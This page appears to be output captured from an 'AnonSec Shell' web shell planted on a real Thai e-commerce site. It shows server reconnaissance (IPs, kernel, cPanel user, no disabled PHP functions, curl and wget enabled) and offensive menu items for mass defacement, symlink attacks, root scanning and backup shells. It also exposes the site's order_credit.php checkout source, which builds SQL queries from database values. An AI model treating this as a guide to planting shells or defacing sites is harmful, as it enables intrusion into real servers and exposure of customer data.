AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/www/homhuan.com/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/www/homhuan.com/cart/order_credit.php
<?php include('../include/meta.php');?>


<?php
$g_id = base64_decode($_GET['id']);
$order_id =  (int)$g_id;

$Oid_id = $order_id;

?>

<?php
if(!is_numeric($Oid_id))
{
	?><meta http-equiv="refresh" content="0;URL=../home/index.php"><?php 
	exit;
}
?>

<?php include('../include/head.php');?>
<?php include('../include/menu.php');?>
    




<div class="container div_main p_top40">
    <div class="row">
      <div class="col-md-12" align="center">
      		<div class="text_header">รายการสั่งซื้อของคุณ</div>
      </div>
    </div>
</div>



<div class="container div_main p_top40">
    <div class="row">
      <div class="col-md-12">
     
<?php

$sql_or = array('table'=>'orders','where'=>"Oid = '".$Oid_id."'");
$view_or = $view_db->view($sql_or);
$row_or = $view_db->q($view_or);

$sql_sa = array('table'=>' ship_addr','where'=>"SAid = '".$row_or['SAid']."'");
$view_sa = $view_db->view($sql_sa);
$row_sa = $view_db->q($view_sa);

$list_sp = array('table'=>'shipping','where'=>'status = 1 AND price = "'.$row_or['Oshipprice'].'"');				  
$view_sp = $view_db->view($list_sp);
$row_sp = $view_db->q($view_sp);
 
?>
   

 <div id="orders">
<table width="100%" border="0" class="table">
<tr  style="border-top:1px solid #FFF;">
    <td style="border-top:1px solid #FFF;" colspan="5">
      ข้อมูลผู้สั่งซื้อ <br>
      คุณ <?php echo $row_sa['SAfname'] . ' ' .$row_sa['SAlname'];?><br><br>
      ที่อยู่จัดส่ง<br>
	<?php echo $row_sa['SAaddr'] ?>  <?php echo $row_sa['SAstate'] ?>  <?php echo $row_sa['SAzip'] ?> <br>
    โทร. <?php echo $util_class->phonenumber($row_sa['phone']);?> <br><br>
    </td>
</tr>
<tr align="center">
            <td  align="left">ชื่อสินค้า / รหัส</td>
            <td>ขนาด</td>
            <td>จำนวน</td>
            <td>ราคารวม</td>
 </tr>
  <?php
		  $num = 0;
		 $total = 0;  
		$list_ord = array('table'=>'order_detail','where'=>'Oid = "'.$Oid_id.'"','order'=> "ORDER BY ODid ASC");				  
		$view_ord = $view_db->view($list_ord);
		$result_ord = $view_db->q_re($view_ord);
		while($row_ord = $view_db->q_ro($result_ord))
		{
			 $num_mod = $num % 2;
			 
			  
			$sql_pro = array('table'=>'product','where'=>"id = '". $row_ord["Pid"]."'");
			$view_pro = $view_db->view($sql_pro);
			$row_pro = $view_db->q($view_pro);
			
			$sql_pros = array('table'=>'product_size','where'=>"product_id = '". $row_ord["Pid"]."' AND id = '".$row_ord["SPid"]."'");
			$view_pros = $view_db->view($sql_pros);
			$row_pros = $view_db->q($view_pros);
			  
			  
			  ?>
              <tr align="center" <?php if($num_mod == 1){ ?>class="td_cart_2"<?php }?>>
                    <td align="left"  style="padding:15px;">
                        <div style="font-weight:bold;"><?php echo $row_pro['name']?></div>
                        <div style="color:#8b8a8a;">รหัสสินค้า : <?php echo $row_pro['code']?></div>
                        <div style="color:#8b8a8a;">ราคา : <?php echo number_format( $row_pros['price'], 2, '.', ',' );?> บาท</div>
                    </td>
                    <td><?php echo $row_pros["size"] ?></td>
                    <td><?php echo $row_ord['ODqty']?></td>
					<?php $price = $row_pros['price'] * $row_ord['ODqty'];?>
					<td><?php echo number_format( $price, 2, '.', ',' );?></span> บาท</td>
                  </tr>
              <?php
			  $total = $total +  $price;
			  $num++;
			  ?>
              
              <?php
		  }
		   $total_all = $total + $row_sp['price'];
		  ?>
            <tr align="right" class="td_cart_2">
            <td style="padding:15px;font-weight:bold;" colspan="3">ราคารวมทั้งหมด</td>
            <td style="padding:15px;color:#f68236;" align="left">
             <input type="hidden" id="total_sum" name="total_sum" value="<?php echo $total ?>">
            <span id="total"><?php echo number_format( $total, 2, '.', ',' );?></span> บาท
            </td>
          </tr>
          <?php
			$list_promo = array('table'=>'orders_promotion','where'=>'id_order = "'.$Oid_id.'"');				  
			$view_promo = $view_db->view($list_promo);
			$result_promo = $view_db->q_re($view_promo);
			while($row_promo = $view_db->q_ro($result_promo))
			{
				?>
                 <tr align="right" class="td_cart_2">
                    <td style="padding:15px;font-weight:bold;" colspan="3"><?php echo $row_promo['name']?></td>
                    <td style="padding:15px;color:#f68236;" align="left">
                    <span id="total"><?php echo number_format( $row_promo['discount'], 2, '.', '' );?></span> บาท
                    </td>
                </tr>
                <?
				$discount_all = $discount_all + $row_promo['discount'];
			}
          $total_all = $total_all - $discount_all ;
		  ?>
            <tr align="right" class="td_cart_2">
            <td style="padding:15px;font-weight:bold;" colspan="3"><?php echo $row_sp['name']?></td>
            <td style="padding:15px;color:#f68236;" align="left">
            <span id="total"><?php echo number_format( $row_sp['price'], 2, '.', '' );?></span> บาท
            </td>
          </tr>
          <tr align="right" class="td_cart_2">
           <td style="padding:15px;font-weight:bold;" colspan="3">ยอดชำระทั้งหมด</td>
            <td style="padding:15px;color:#f68236;" align="left">
            <span id="total"><?php echo number_format( $total_all, 2, '.', '' );?></span> บาท
            </td>
          </tr>
</table>
</div>

      		
      </div>
    </div>
</div>


<form method="post" name="from_pm">

<div class="container div_main">
    <div class="row">
      <div class="col-md-12" align="center">
            <br>
            <input type="hidden" name="id" id="or_id" value="<?php echo $Oid_id ?>">
            <button type="button"  class="btn btn-default bn_send_mail" onClick="PrintElem('#orders')">พิมพ์ใบสั่งซื้อ</button> &nbsp; 
            <button type="button"  onClick="checkform_pm();" class="btn btn-default bn_send_mail">ยืนยันการชำระเงิน</button>
          <br><br>
          <span  style="color:#F00">*ถ้าหากมีการยกเลิกการชำระสินค้า ผ่านบัครเครดิต / เดบิต โดยที่บริษัทไม่ได้เป็นฝ่ายผิดลูกค้าจะต้องเป็นฝ่ายรับผิดชอบ ค่าธรรมเนียม3%+vat</span>  
      </div>
    </div>
</div>
 
</form>



<link href="../include/Fullscreen-Loading/src/css/HoldOn.css" rel="stylesheet" type="text/css">
<script src="../include/Fullscreen-Loading/jquery-1.11.3.min.js"></script>
<script src="../include/Fullscreen-Loading/src/js/HoldOn.js"></script>
<script>
                            
function testHoldon(themeName){
	HoldOn.open({
		theme:themeName,
		message:"<h4> กำลังโหลดข้อมูล </h4>"
	});
	
   /* setTimeout(function(){
		HoldOn.close();
	},5000);*/
}
function testHoldon_cl(themeName){
	/*HoldOn.open({
		theme:themeName,
		//message:"<h4> กำลังโหลดข้อมูล </h4>"
	});*/
	
    setTimeout(function(){
		HoldOn.close();
	},0);
}

</script>
<script>

function checkform_pm()
{
	
		
			testHoldon('sk-circle');
			
			var params = "id="+document.getElementById('or_id').value;			
	
			
			var xmlhttp = new XMLHttpRequest();
			xmlhttp.onreadystatechange = function() {
				if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
				
						testHoldon_cl('sk-circle');
				
					//alert(xmlhttp.responseText);	
					
					window.location.href = xmlhttp.responseText;	
					
					/*if(xmlhttp.responseText == 'F')
					{
						window.location.href="http://homhuan.com";
					}
					else
					{
						window.location.href=xmlhttp.responseText;
					}*/
								
					//document.getElementById("txtHint").innerHTML = xmlhttp.responseText;
				}
			};
			
			xmlhttp.open("POST", "order_credit_s.php", true);
			xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
			xmlhttp.send(params);
			

	
	
}


</script>
 <script type="text/javascript">

    function PrintElem(elem)
    {
        Popup($(elem).html());
    }

    function Popup(data) 
    {
        var mywindow = window.open('', 'ใบสั่งซื้อสินค้า - homhuan', 'height=500,width=600');
        mywindow.document.write('<html><head><title>ใบสั่งซื้อสินค้า - homhuan</title>');
        /*optional stylesheet*/ //mywindow.document.write('<link rel="stylesheet" href="main.css" type="text/css" />');
        mywindow.document.write('</head><body >');
        mywindow.document.write(data);
        mywindow.document.write('</body></html>');

        mywindow.document.close(); // necessary for IE >= 10
        mywindow.focus(); // necessary for IE >= 10

        mywindow.print();
        mywindow.close();

        return true;
    }
</script>                       
             
 

<div id="txtHint"></div>

<div class="container div_main">
    <div class="row">
      <div class="col-md-12" align="center">
            <div class="line"></div>
      </div>
    </div>
</div>


<?php include('../themes/tap_footer.php');?>
<?php include('../themes/footer.php');?>
<?php include('../include/footer_js.php');?>

Anon7 - 2022
AnonSec Team